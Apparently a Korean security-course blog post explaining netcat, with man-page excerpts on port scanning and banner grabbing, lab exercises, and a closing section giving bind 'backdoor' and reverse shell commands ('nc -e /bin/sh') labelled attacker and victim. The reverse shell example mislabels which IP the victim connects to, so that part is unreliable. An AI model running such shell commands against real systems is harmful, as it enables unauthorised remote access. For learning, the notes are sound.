본문 바로가기
보안과정/참고

nc(netcat)명령어 사용법

by Luuii 2017. 11. 28.

nc는 telnet을 대신 할 수 있다.

why? 보내는 방식이 같다.

그래서 모의해커들이 많이 사용한다.

보안 쪽에서 많이 쓸때는 포렌식 쪽에서 이미지를 넘길 때 많이 사용한다.

백도어 만들 때도 사용한다.

 NAME

     nc - arbitrary TCP and UDP connections and listens


 SYNOPSIS

     nc [-46DdhklnrStUuvz] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS]

        [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [hostname] [port[s]]


 DESCRIPTION

     The nc (or netcat) utility is used for just about anything under the sun involving

     TCP or UDP.


 CLIENT/SERVER MODEL

     It is quite simple to build a very basic client/server model using nc.  On one con-

     sole, start nc listening on a specific port for a connection.  For example:


           (nc server)$ nc -l 1234


     nc is now listening on port 1234 for a connection.  On a second console (or a second

     machine), connect to the machine and port being listened on:


           (nc client)$ nc 127.0.0.1 1234


     There should now be a connection between the ports.  Anything typed at the second

     console will be concatenated to the first, and vice-versa.  After the connection has

     been set up, nc does not really care which side is being used as a ‘server’ and which

     side is being used as a ‘client’.  The connection may be terminated using an EOF

     (‘^D’).


 DATA TRANSFER

     The example in the previous section can be expanded to build a basic data transfer

     model.  Any information input into one end of the connection will be output to the

     other end, and input and output can be easily captured in order to emulate file

     transfer.


     Start by using nc to listen on a specific port, with output captured into a file:


           $ nc -l 1234 > filename.out


     Using a second machine, connect to the listening nc process, feeding it the file

     which is to be transferred:


           $ nc host.example.com 1234 < filename.in


     After the file has been transferred, the connection will close automatically.


 TALKING TO SERVERS

     It is sometimes useful to talk to servers “by hand” rather than through a user inter-

     face.  It can aid in troubleshooting, when it might be necessary to verify what data

     a server is sending in response to commands issued by the client.  For example, to

     retrieve the home page of a web site:


           $ echo -n "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80


     Note that this also displays the headers sent by the web server.  They can be fil-

     tered, using a tool such as sed(1), if necessary.


     More complicated examples can be built up when the user knows the format of requests

     required by the server.  As another example, an email may be submitted to an SMTP

     server using:


           $ nc localhost 25 << EOF

           HELO host.example.com

           MAIL FROM: <user@host.example.com>

           RCPT TO: <user2@host.example.com>

           DATA

           Body of email.

           .

           QUIT

           EOF

 

 PORT SCANNING

     It may be useful to know which ports are open and running services on a target

     machine.  The -z flag can be used to tell nc to report open ports, rather than initi-

     ate a connection.  For example:


           $ nc -z host.example.com 20-30

           Connection to host.example.com 22 port [tcp/ssh] succeeded!

           Connection to host.example.com 25 port [tcp/smtp] succeeded!


     The port range was specified to limit the search to ports 20 - 30.


     Alternatively, it might be useful to know which server software is running, and which

     versions.  This information is often contained within the greeting banners.  In order

     to retrieve these, it is necessary to first make a connection, and then break the

     connection when the banner has been retrieved.  This can be accomplished by specify-

     ing a small timeout with the -w flag, or perhaps by issuing a "QUIT" command to the

     server:


           $ echo "QUIT" | nc host.example.com 20-30

           SSH-1.99-OpenSSH_3.6.1p2

           Protocol mismatch.

           220 host.example.com IMS SMTP Receiver Version 0.84 Ready


1. nc(netcat)은 TCP나 UDP프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단한 유틸리티 프로그램.

2. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯, nc는 network connection에 읽거나 쓴다.

3. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로 서 매우 편리하지만 반면 해킹에도 이용범위가 넓다.

4. nc는 network connection에서 raw-data read, write 할 수 있는 유틸리티 프로그램.

5. nc는 거의 모든 종류의 접속 형태를 만들어 낼 수 있기 때문에 다기능의 네트워크 문제해결/조사시 유용하게 사용가능하다.


■ 프로그램 다운로드

(Linux nc) http://netcat.sourceforge.net/

(Window nc) http://www.securityfocus.com/toos/139/scoreit


기본적으로 repository 서버에는 들어있지만 일반 서버에는 설치가 안되어있다.

반드시 최신 버전을 다운받아서 사용해야한다.


[실습] 간단한 네트워크 연결

 # nc 192.168.10.200 22        (# telnet localhost 22)


[실습] 간단한 서버/클라이언트 구성

포트 7979에서 listen하는 간단한 채팅 서버


(nc server) 192.168.10.200

[TERM 1] # nc -l 7979


(nc client) 192.168.10.200

[TERM 2] # nc 192.168.10.200 7979        ( # telnet 192.168.10.200 7979)

> 클라이언트에서 입력한 모든 문자가 서버에 출력된다.

> 클라이언트에서 <CTRL + D> 통해 끊을 때 서버도 같이 종료.

> connection이 이루어 졌을 때 파일을 실행. -l 과 같이 사용되면 한 instance 만을 사용하는 inetd와 비슷


[실습] 파일전송

(nc server) [TERM 1] # nc -l 7979 > /tmp/output.txt

(nc client) [TERM 2] # ps auxf | nc 192.168.10.200 7979            or             # nc 192.168.10.200 < /tmp/input.txt

(nc server) [TERM 1] # cat /tmp/output.txt



[참고] 참고 사이트(반드시 참고)

http://devanix.tistory.com/307

> 백도어 쉘과 리버스 쉘 부분 반드시 참고.


nc가 반드시 최신버전으로 설치되어야 한다. 필요하다면 칼리리눅스에서 써도 무방.



꼭 기억해놔야할 부분.

■ 백도어 쉘(bind_tcp)

서버(공인 IP) - Victim

클라이언트(공인 IP/ 사설 IP) - Attacker

 # nc -e /bin/sh -l -p 1234

-p = 포트번호(최신버전은 붙여줘야한다.)

 # nc <Victim's IP> 1234

 uname -a;

 ls -al;



■ 리버스 쉘(reverse_tcp)

서버(공인 IP) - Attacker

클라이언트(공인 IP/ 사설 IP) - Victim

 # nc -n -v -l -p 1234          // -v는 안 써도된다.

 ifconfig;

 id;

 hostname;

 # nc -e /bin/sh <Victim's IP> 1234











반응형

'보안과정 > 참고' 카테고리의 다른 글

SIGNAL에 대하여  (0) 2017.11.29
ln 명령어  (0) 2017.11.29
xinetd 방식에 대하여  (0) 2017.11.28
dig/host/nslookup  (0) 2017.11.28
setreuid 명령어  (0) 2017.11.28